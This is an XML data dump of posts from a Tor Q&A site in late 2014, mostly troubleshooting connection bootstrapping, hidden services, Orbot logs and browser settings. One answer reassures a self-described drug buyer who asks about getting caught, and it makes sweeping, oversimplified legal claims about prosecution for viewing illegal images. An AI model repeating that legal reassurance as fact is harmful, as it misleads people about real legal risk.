  <row Id="4727" PostTypeId="1" CreationDate="2014-12-04T14:23:08.990" Score="17" ViewCount="218574" Body="&lt;p&gt;I've just started using the latest Tor Browser, connecting through my university connection. When I try to connect, it failed to establish connection with the network after waiting for a long time. I check the log and it says problem bootstrapping, stuck at 10%. My friend who uses Tor Browser and uses the same connection as me can connect to the network and use Tor Browser. We also use the same OS, Windows 8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Tor Log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04/12/2014 19:09:31 PM.120 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;04/12/2014 19:09:31 PM.623 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;04/12/2014 19:09:32 PM.110 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;04/12/2014 20:35:51 PM.957 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn) &#xA;04/12/2014 20:35:51 PM.959 [WARN] 10 connections have failed: &#xA;04/12/2014 20:35:51 PM.959 [WARN]  7 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE&#xA;04/12/2014 20:35:51 PM.959 [WARN]  3 connections died in state connect()ing with SSL state (No SSL object) &#xA;04/12/2014 21:52:23 PM.964 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. &#xA;(Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 11; recommendation warn) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5232" LastEditorUserId="923" LastEditDate="2015-01-03T15:14:02.953" LastActivityDate="2019-08-07T14:32:25.923" Title="Can't connect Tor Network, failed to establish network" Tags="|tor-browser-bundle|help|" AnswerCount="13" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="4728" PostTypeId="2" ParentId="4358" CreationDate="2014-12-04T14:38:56.533" Score="0" Body="&lt;p&gt;The toggle model of &lt;a href=&quot;https://www.torproject.org/docs/torbutton/&quot; rel=&quot;nofollow&quot;&gt;Torbutton&lt;/a&gt; was discontinued a while ago. Mike Perry, developer of Torbutton, described the decision in &lt;a href=&quot;https://blog.torproject.org/blog/toggle-or-not-toggle-end-torbutton&quot; rel=&quot;nofollow&quot;&gt;a blogpost&lt;/a&gt;. So while you might be able to build a custom XPI and install it into Firefox, it is not recommended anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The better solution is to use Tor Browser Bundle. Just start it from your USB drive or the hard drive and access the pages you want.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="923" LastEditDate="2014-12-04T15:00:24.343" LastActivityDate="2014-12-04T15:00:24.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4729" PostTypeId="2" ParentId="4381" CreationDate="2014-12-04T15:06:20.697" Score="2" Body="&lt;p&gt;I'm not sure if it is the right reason but some time ago I read (I think at the &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt;-documentation) that the browser always starts with the same resolution (and you shouldn't resize it) to make your browser less track-able.&lt;br&gt;&#xA;You can start a good privacy-test at &lt;a href=&quot;http://ip-check.info&quot; rel=&quot;nofollow&quot;&gt;http://ip-check.info&lt;/a&gt; and have a look at the &quot;screen&quot;-lines.&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2015-04-21T11:31:24.450" LastActivityDate="2015-04-21T11:31:24.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4730" PostTypeId="2" ParentId="4271" CreationDate="2014-12-04T22:48:52.843" Score="0" Body="&lt;p&gt;The documentation of TorBirdy seems to think that everyone uses Tor Browser. This is the part of Tor, an end user would normally install and it uses port 9150 by default. If you have the Tor daemon installed, it uses port 9050. You should use this port of course.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-12-04T22:48:52.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4731" PostTypeId="1" CreationDate="2014-12-05T01:21:10.590" Score="2" ViewCount="5106" Body="&lt;p&gt;So I just downloaded Tor and I'm trying to set up a hidden service. Not going so well. I'm using Savant web server, and can open up 'localhost' on Chrome, but I put:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir C:\Users\Sellar\tor_service&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in my torrc file, started up Tor again(Browser bundle, no Vidalia), tried connecting to the hostKey it gave me(and it did give me one), but it says firefox is unable to establish a connection to the server at localhost. I set Savant to localhost and port 80.&#xA;Is there something I can change to make this work? is 127.0.0.1 supposed to be my IPv4 or Default Gateway or something, or is it always 127.0.0.1? Anything else that comes to mind that might help?&lt;/p&gt;&#xA;" OwnerUserId="5236" LastActivityDate="2016-11-08T20:58:06.317" Title="Tor can't connect to localhost hidden service" Tags="|onion-services|firefox|onion-routing|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4732" PostTypeId="1" CreationDate="2014-12-05T06:32:05.030" Score="1" ViewCount="1406" Body="&lt;p&gt;I use Tor when accessing the Play Store. I have Tor to use US exit nodes only and I've confirmed by looking up my IP while using Tor that I indeed have US IPs. However, when accessing Play Store, Play Store seems to think my IP is from somewhere else -- sometimes it shows prices in euros, sometimes in British pounds, or non-US dollars. What is going on? Why am I not getting US version of Play Store even though I have US IP addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My configuration includes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExitNodes {us}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;StrictNodes 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExcludeNodes {all CC except US}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, with an exit node with IP address of 204.17.56.42, Play Store is showing me the wrong price for &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.a22neko.noisep&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;https://play.google.com/store/apps/details?id=com.a22neko.noisep&amp;amp;hl=en&lt;/a&gt; -- it isn't showing US price of $5.00. On the other hand, exit node with IP address of 162.218.68.130 is showing the proper US$5.00. What the hell is going on?&lt;/p&gt;&#xA;" OwnerUserId="5238" LastEditorUserId="923" LastEditDate="2014-12-07T11:55:49.467" LastActivityDate="2014-12-07T11:55:49.467" Title="Google Play Store detects wrong IP address when using Tor" Tags="|help|google|exit-relays|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="4733" PostTypeId="1" CreationDate="2014-12-05T06:51:47.810" Score="0" ViewCount="7688" Body="&lt;p&gt;Is it safe to stop the Tor browser and network, and start using something like internet explorer or google chrome after? Like If I accidentally saw cp and deleted Tor and then started using my normal internet and browsers am I at risk for being caught or getting in trouble etc.? If me and my brother use a laptop each (as in 2 total) and I have Tor and am buying drugs, and he is not and is watching youtube or searching google , am I at risk? LASTLY something particularly worrying happened, after browsing with Tor for a day, I stopped, deleted it, and went back to google chrome and my un hidden use of internet, I went to youtube and noticed all the recommended videos and channels, they were specifically from genres or themes of the sites I had visited, like completely japanese channels and videos, about guns, and various things I had searched about while using Tor... *note I never used google,fb, gov sites or anything like that. So is this a sign I compromised myself somehow leaking my IP address? The recommendations were from only what I did on Tor. Am just lucky not to have been spotted by authorities? &lt;/p&gt;&#xA;" OwnerUserId="5239" LastEditorUserId="923" LastEditDate="2014-12-05T09:09:38.057" LastActivityDate="2014-12-06T22:52:51.760" Title="Is it safe to stop using Tor after illegal activity? Other security questions I cant find answers to" Tags="|tor-browser-bundle|anonymity|security|configuration|" AnswerCount="1" CommentCount="0" ClosedDate="2014-12-12T19:55:41.487" ContentLicense="CC BY-SA 3.0" />
  <row Id="4734" PostTypeId="2" ParentId="1535" CreationDate="2014-12-05T08:46:31.927" Score="1" Body="&lt;p&gt;The Tor Browser Bundle overwrites your local files in every update. This is intentional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend to save your personal homepage in a directory outside of TBB's directory and make a link. So you only have to renew the link. Another possibility is to import the file on each update.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="923" LastEditDate="2014-12-05T09:12:21.813" LastActivityDate="2014-12-05T09:12:21.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4737" PostTypeId="1" CreationDate="2014-12-06T10:46:28.787" Score="1" ViewCount="1997" Body="&lt;p&gt;Recently I noticed a big change in my orbot log...it starts with these 4 PRE QUESTIONS-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor: PRE: Is binary exec? true&#xA;polipo: PRE: Is binary exec? true&#xA;obfsclient: PRE: Is binary exec? true&#xA;xtables: PRE: Is binary exec? true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also all my circuits are now being built by zwiebelringrexlocus&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My circuits no longer seem to be popping around different connections and cities...whats happened? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Orbot is starting…&#xA;Orbot is starting…&#xA;Waiting for control port...&#xA;tor: PRE: Is binary exec? true&#xA;polipo: PRE: Is binary exec? true&#xA;obfsclient: PRE: Is binary exec? true&#xA;xtables: PRE: Is binary exec? true&#xA;Orbot is starting…&#xA;Orbot is starting…&#xA;updating torrc custom configuration...&#xA;success.&#xA;Orbot is starting…&#xA;Waiting for control port...&#xA;Connecting to control port: 54534&#xA;SUCCESS connected to Tor control port.&#xA;SUCCESS - authenticated to control port.&#xA;Starting Tor client… complete.&#xA;adding control port event handler&#xA;SUCCESS added control port event handler&#xA;NOTICE: Opening Socks listener on 127.0.0.1:9050 &#xA;Local SOCKS port: 9050&#xA;NOTICE: Opening Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;NOTICE: Closing no-longer-configured Transparent pf/netfilter listener on 127.0.0.1:55000 &#xA;NOTICE: Closing old Transparent pf/netfilter listener on 127.0.0.1:55000 &#xA;Local TransProxy port: 9040&#xA;NOTICE: Opening DNS listener on 127.0.0.1:5400 &#xA;NOTICE: Closing no-longer-configured DNS listener on 127.0.0.1:49624 &#xA;NOTICE: Closing old DNS listener on 127.0.0.1:49624 &#xA;Local DNSPort port: 9040&#xA;Tor started; process id=8325&#xA;updating settings in Tor service&#xA;Starting polipo process&#xA;Set background service to FOREGROUND&#xA;Polipo is running on port:8118&#xA;Polipo process id=8328&#xA;NOTICE: Bootstrapped 85%: Finishing handshake with first hop &#xA;NOTICE: Bootstrapped 90%: Establishing a Tor circuit &#xA;Circuit (1) BUILT: zwiebelringrexlocus&#xA;Circuit (2) BUILT: zwiebelringrexlocus &amp;gt; InRamOnlyNoLogs &amp;gt; mb1&#xA;NOTICE: Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;NOTICE: Bootstrapped 100%: Done &#xA;Circuit (3) BUILT: zwiebelringrexlocus &amp;gt; spfTOR1e3 &amp;gt; ArachnideFR1&#xA;Circuit (3) CLOSED: zwiebelringrexlocus &amp;gt; spfTOR1e3 &amp;gt; ArachnideFR1&#xA;Circuit (5) BUILT: zwiebelringrexlocus &amp;gt; redbeantorrelay &amp;gt; esbek1&#xA;Circuit (5) CLOSED: zwiebelringrexlocus &amp;gt; redbeantorrelay &amp;gt; esbek1&#xA;Circuit (4) BUILT: zwiebelringrexlocus &amp;gt; thys2 &amp;gt; lndmvps&#xA;Circuit (4) CLOSED: zwiebelringrexlocus &amp;gt; thys2 &amp;gt; lndmvps&#xA;Circuit (6) BUILT: zwiebelringrexlocus &amp;gt; ceguild2 &amp;gt; Chandler23&#xA;Circuit (6) CLOSED: zwiebelringrexlocus &amp;gt; ceguild2 &amp;gt; Chandler23&#xA;Circuit (8) BUILT: zwiebelringrexlocus &amp;gt; afo2 &amp;gt; krosnovorg&#xA;Circuit (8) CLOSED: zwiebelringrexlocus &amp;gt; afo2 &amp;gt; krosnovorg&#xA;Circuit (7) BUILT: zwiebelringrexlocus &amp;gt; PPTOR0007 &amp;gt; borvo&#xA;Circuit (7) CLOSED: zwiebelringrexlocus &amp;gt; PPTOR0007 &amp;gt; borvo&#xA;Circuit (11) BUILT: zwiebelringrexlocus &amp;gt; Logforme &amp;gt; Anubis&#xA;Circuit (10) BUILT: zwiebelringrexlocus &amp;gt; torpidsUKuk22 &amp;gt; wannabe2&#xA;Circuit (10) CLOSED: zwiebelringrexlocus &amp;gt; torpidsUKuk22 &amp;gt; wannabe2&#xA;Circuit (12) BUILT: zwiebelringrexlocus &amp;gt; Cyberpunktor &amp;gt; Chandler02&#xA;Circuit (9) BUILT: zwiebelringrexlocus &amp;gt; afo2 &amp;gt; destiny&#xA;Circuit (9) CLOSED: zwiebelringrexlocus &amp;gt; afo2 &amp;gt; destiny&#xA;Circuit (13) BUILT: zwiebelringrexlocus &amp;gt; Mirage &amp;gt; SwartzTorNodeA01x&#xA;Circuit (14) BUILT: poiuty1&#xA;Circuit (15) BUILT: zwiebelringrexlocus &amp;gt; 1001001de &amp;gt; ethanzuckerman&#xA;Circuit (16) BUILT: zwiebelringrexlocus &amp;gt; EBMlover &amp;gt; tortuga2&#xA;Circuit (17) BUILT: wtfloki&#xA;Circuit (1) CLOSED: zwiebelringrexlocus&#xA;Circuit (18) BUILT: zwiebelringrexlocus&#xA;Circuit (14) CLOSED: poiuty1&#xA;Circuit (19) BUILT: zwiebelringrexlocus &amp;gt; Unnamed &amp;gt; BeSeeingYou&#xA;Circuit (20) BUILT: poiuty1&#xA;Circuit (17) CLOSED: wtfloki&#xA;Circuit (21) BUILT: zwiebelringrexlocus &amp;gt; conservatorry &amp;gt; TorLand1&#xA;Circuit (18) CLOSED: zwiebelringrexlocus&#xA;Circuit (20) CLOSED: poiuty1&#xA;Circuit (22) BUILT: zwiebelringrexlocus&#xA;Circuit (23) BUILT: wtfloki&#xA;Circuit (16) CLOSED: zwiebelringrexlocus &amp;gt; EBMlover &amp;gt; tortuga2&#xA;Circuit (24) BUILT: zwiebelringrexlocus &amp;gt; Justa4 &amp;gt; BeSeeingYou&#xA;Circuit (21) CLOSED: zwiebelringrexlocus &amp;gt; conservatorry &amp;gt; TorLand1&#xA;Circuit (22) CLOSED: zwiebelringrexlocus&#xA;Circuit (23) CLOSED: wtfloki&#xA;Circuit (25) BUILT: poiuty1&#xA;Circuit (26) BUILT: wtfloki&#xA;Circuit (27) BUILT: zwiebelringrexlocus &amp;gt; zwiebelkuchen &amp;gt; destiny&#xA;Circuit (27) CLOSED: zwiebelringrexlocus &amp;gt; zwiebelkuchen &amp;gt; destiny&#xA;Circuit (28) BUILT: zwiebelringrexlocus &amp;gt; Torbob05 &amp;gt; Chandler05&#xA;Circuit (24) CLOSED: zwiebelringrexlocus &amp;gt; Justa4 &amp;gt; BeSeeingYou&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5244" LastEditorUserId="88" LastEditDate="2014-12-16T22:16:39.563" LastActivityDate="2016-05-29T17:42:30.227" Title="Is my Tor service being middle manned hacked or sec?" Tags="|anonymity|security|guard|orbot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4738" PostTypeId="1" CreationDate="2014-12-06T11:45:37.993" Score="0" ViewCount="101" Body="&lt;p&gt;During last 24 hr Atlas seems to be down. What is the problem? All I get is this response from Atlas.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No Results found!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;No Tor relays or bridges matched your query :(&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-12-07T00:48:40.280" Title="Is Atlas down? I can not get any response from Altas" Tags="|atlas|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4739" PostTypeId="1" CreationDate="2014-12-06T15:09:31.137" Score="1" ViewCount="324" Body="&lt;p&gt;lg e980 4.4.2 kitkat AT&amp;amp;T us. Updated orbot &amp;amp; orweb. Now expanded notifications are absent. No longer able to see which countries tor is bouncing around in. How can I fix this? Also orbot is no longer visible in task manager. Did the upgrades do this? Should I uninstall and reinstall orbot &amp;amp; orweb? &lt;/p&gt;&#xA;" OwnerUserId="5246" LastEditorUserId="5246" LastEditDate="2014-12-06T16:18:43.117" LastActivityDate="2014-12-09T13:07:19.543" Title="drag down orbot icon to display expanded notifications" Tags="|orbot|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4740" PostTypeId="2" ParentId="4731" CreationDate="2014-12-06T17:16:08.193" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;... it says firefox is unable to establish a connection to the server at localhost. ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your issue is similar to this one:&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/4645/tor-secret-key-isnt-working-on-local-host-server&quot;&gt;Tor Secret Key isn&amp;#39;t working on local host server&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the solution to your issue is in my first comment to that question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;your web server has its hostname set to localhost and to return a Content-location or Location header. See if you can config your web server to not care about hostname or set it to your onion address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-12-06T17:16:08.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4741" PostTypeId="2" ParentId="4737" CreationDate="2014-12-06T17:27:31.283" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Also all my circuits are now being built by zwiebelringrexlocus&lt;br&gt;&#xA;  My circuits no longer seem to be popping around different connections and cities... whats happened? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;zwiebelringrexlocus is your (new?) guard node. It is normal and by design that you keep using the same guard for a long time.&lt;br&gt;&#xA;The 2nd and 3rd node in your circuits are all different. You do still exit from different exits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't use Orbot so I can't comment on whether those permission checks are normal.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-12-06T17:27:31.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4742" PostTypeId="2" ParentId="4725" CreationDate="2014-12-06T18:15:54.747" Score="1" Body="&lt;p&gt;Perhaps you might get a better answer if you explain;  Why you want to use multiple IP's simultaneously? or Why you want all the nodes related to your use of Tor to be in the US?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you might know this already.&#xA;If you have the Tor Browser running, and want to change to a different IP, you would click on the green onion and specify new identity, although I am not sure if that resets all three nodes to potentially 3 other nodes.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would feel that the NSA feels any use of Tor is potentially outside the US, and therefore the NSA can assume that they can surveil the connections involved.   The NSA should not be able to tell if all the nodes that you are using are in the US.  ?Curious also is that I have read that the NSA is not supposed to surveil US Citizens, however, does the NSA feel that they can surveil those who are in the US, but who are not citizens?   Can the NSA surveil US citizens in other countries?  (Supposing they know for sure that the person is a US citizen)  What is the Standard the NSA might use to determine whether a connection is use by a US Citizen, (only) that the NSA (NSA is not supposed to surveil (without a warrant) a US Citizen)  How does the NSA determine that they must desist from surveiling?  As we know that they pretty much do what they want, not sure it matters.  If anyone knows what standards they use, (which seems to be the goal of the OP) then pipe up and let us know.  &lt;/p&gt;&#xA;" OwnerUserId="5249" LastActivityDate="2014-12-06T18:15:54.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4744" PostTypeId="1" CreationDate="2014-12-06T18:27:38.423" Score="1" ViewCount="783" Body="&lt;p&gt;It seems I was banned from TripAdvisor, which is no big deal.&#xA;They easily blocked me from just using a new username, probably thanks to cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought this would be a good test for TorBrowser to see how anonymous it can make me.&#xA;All goes well for a few days but eventually they seem to catch on and I get disabled again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is something getting through Tor to make me recognizable?&#xA;It could also be that other users keep reporting me but that seems unlikely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor 4.5-alpha-2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for any thoughts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS I'm not doing anything illegal or obnoxious, just countering lies with plainly stated facts is enough to get you banned there&lt;/p&gt;&#xA;" OwnerUserId="5173" LastActivityDate="2015-02-11T14:46:40.503" Title="TripAdvisor knows who I am" Tags="|anonymity|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4745" PostTypeId="2" ParentId="4719" CreationDate="2014-12-06T18:42:05.730" Score="3" Body="&lt;p&gt;The user will have to configure their browser to use the Tor on your VPN server as proxy with remote hostname resolution. Otherwise they can not browse hidden services.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-12-06T18:42:05.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4746" PostTypeId="2" ParentId="4744" CreationDate="2014-12-06T20:46:08.053" Score="1" Body="&lt;p&gt;You could be recognized / identified by a combination of factors: You are &lt;em&gt;&quot;that guy who is always countering lies with plainly stated facts&quot;&lt;/em&gt;, who always connects over Tor, always around lunch time east coast time, etc... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They may have very few visitors from Tor exits who login to accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible that they do &lt;em&gt;not&lt;/em&gt; know you're the same person every time, but they just ban anyone for countering lies with plainly stated facts, not just you. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-12-06T20:46:08.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4747" PostTypeId="2" ParentId="4733" CreationDate="2014-12-06T22:52:51.760" Score="2" Body="&lt;p&gt;Before I get into the meat of the answers, let me just advise you to stay away from the sketchy side of the web if you are not very knowledgeable about security. I've been using TOR for several years now and I've yet to see a single piece of CP so my only conclusion is that you probably need to reevaluate your browsing habits if you accidentally stumbled upon it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alright, to your questions now...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: Is it safe to use regular browsers like Chrome or Firefox after using Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A: Yes. You can safely use other browsers, while, after or before using Tor. This applies to any software really unless its intentionally designed to collect data on or tamper with TBB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: If I accidentally saw something illegal am I at risk of getting in trouble?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A: Its important to separate the technical part of this question from the legal part of this question. Technically speaking Tor offers anonymity by funneling traffic through a series of relays. While it is possible for an adversary to deanonymize users, its very unlikely given the circumstances you stated, that an adversary (namely law enforcement) would have known what you were doing, other than connecting to the Tor network (which is not a crime per se).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for the legal part. I'm going to assume you live in the United States--but if you don't ignore this. If you accidentally stumbled upon illegal material as you say, you shouldn't have to worry at all (and no, deleting Tor doesn't help, it just makes you look guilty). Law enforcement has to collect information that proves beyond reasonable doubt that you not only viewed this material, but did so intentionally (which requires mulitple instances of this to occur). No reasonable court would convict someone for allegedly viewing an image once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: If I'm using Tor while someone else is using my network, can this affect my security? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A: No. While it is possible for another user on your network to potentially monitor your traffic, meaning they can know its headed for an entry node but they wouldn't know its contents. Also, they shouldn't be able to tamper with it at this point either as it is encrypted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: Is it possible that I leaked identifying information while using Tor such that services like Google now associate my previous Tor session with me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A: Did you log into an account you use for clearnet over Tor? Did you accidentally use Firefox instead of TBB? The most likely scenario is that your brothers activity is showing up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In closing let me say that I am by no means an expert so if anyone wants to correct me, by all means do. Also, there are probably a lot of spelling and grammar mistakes so pardon that as well.&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2014-12-06T22:52:51.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4748" PostTypeId="2" ParentId="4738" CreationDate="2014-12-07T00:48:40.280" Score="1" Body="&lt;p&gt;Yup, please see the following ticket...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13905&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/13905&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-12-07T00:48:40.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4751" PostTypeId="1" AcceptedAnswerId="4947" CreationDate="2014-12-08T11:12:33.093" Score="1" ViewCount="1937" Body="&lt;p&gt;Which eCommerce CMS will work in Tor? I tried many CMS like OpenCart, Magento and Wordpress etc, but none of these open correctly in Tor browser, I mean only HTML markup loads up, but no images, stylesheets and scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, can anyone advise me which CMS to choose? I want to build an eCommerce website for selling stuff. I'm on this issue for 3 weeks and haven't gotten any solution so far and I'm running out of time.&lt;/p&gt;&#xA;" OwnerUserId="5143" LastEditorUserId="350" LastEditDate="2014-12-08T13:46:04.267" LastActivityDate="2020-08-22T18:51:57.667" Title="Which eCommerce CMS will work in Tor?" Tags="|javascript|development|performance|website|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4752" PostTypeId="2" ParentId="4751" CreationDate="2014-12-08T12:27:36.587" Score="2" Body="&lt;p&gt;I have no experience with this and I can't advice on which system to use, but you should figure out &lt;strong&gt;why&lt;/strong&gt; those systems won't load any linked files. Have you looked at the links? Are they correct? Are they absolute or relative URLs? Do you get 404s or other errors in your web server log?&lt;br&gt;&#xA;There is probably some way to config where your document root is and where your linked assets should sit relative to that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no reason why this would not work over the Tor network. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-12-08T12:27:36.587" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4756" PostTypeId="2" ParentId="4739" CreationDate="2014-12-09T13:07:19.543" Score="1" Body="&lt;p&gt;What version are you using? If it's the latest version, check your log where you might find info about IP and country. &lt;/p&gt;&#xA;" OwnerUserId="3386" LastActivityDate="2014-12-09T13:07:19.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4757" PostTypeId="1" CreationDate="2014-12-09T17:19:30.053" Score="3" ViewCount="119" Body="&lt;p&gt;Apparently pressing T while hovering over the NoScripts icon will grant temporary script permissions to the active tab. This seems to offer virtually negligible convenience at the cost of a potential human error that could expose the user. Is it possible to disable this shortcut or at least make it prompt me before granting permissions? &lt;/p&gt;&#xA;" OwnerUserId="5260" LastActivityDate="2017-03-19T00:57:52.967" Title="Is it possible to disable NoScripts shortcut keys in TBB?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4758" PostTypeId="2" ParentId="4266" CreationDate="2014-12-09T19:21:05.543" Score="2" Body="&lt;p&gt;Desktop XP sp2 IE and Chrome&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summary of my Error Message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your connection is not private&#xA;&#xA;Attackers might be trying to steal your information from &#xA;www.torproject.org (for example, passwords, messages or credit cards).  &#xA;Etc as detailed above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this message when trying to access lots of websites via both IE and Chrome. Tried all the suggested actions re: date and time to no avail. Tried running scans with both AVG and Malwarebytes, neither found any problem &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution.&lt;/strong&gt; I downloaded Mozilla Firefox and installed it, was able to access all websites via  Firefox.  Tried Chrome and IE and problem still there. Uninstalled Chrome, downloaded new version of Chrome and installed it, was able to access all websites via Chrome. Tried IE and was able to access all websites via IE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt; Something, malware, virus, had corrupted or infected Chrome and by un-installing and reinstalling a different version it fixed the problem.&lt;/p&gt;&#xA;" OwnerUserId="5262" LastEditorUserId="10311" LastEditDate="2015-12-26T21:14:15.323" LastActivityDate="2015-12-26T21:14:15.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
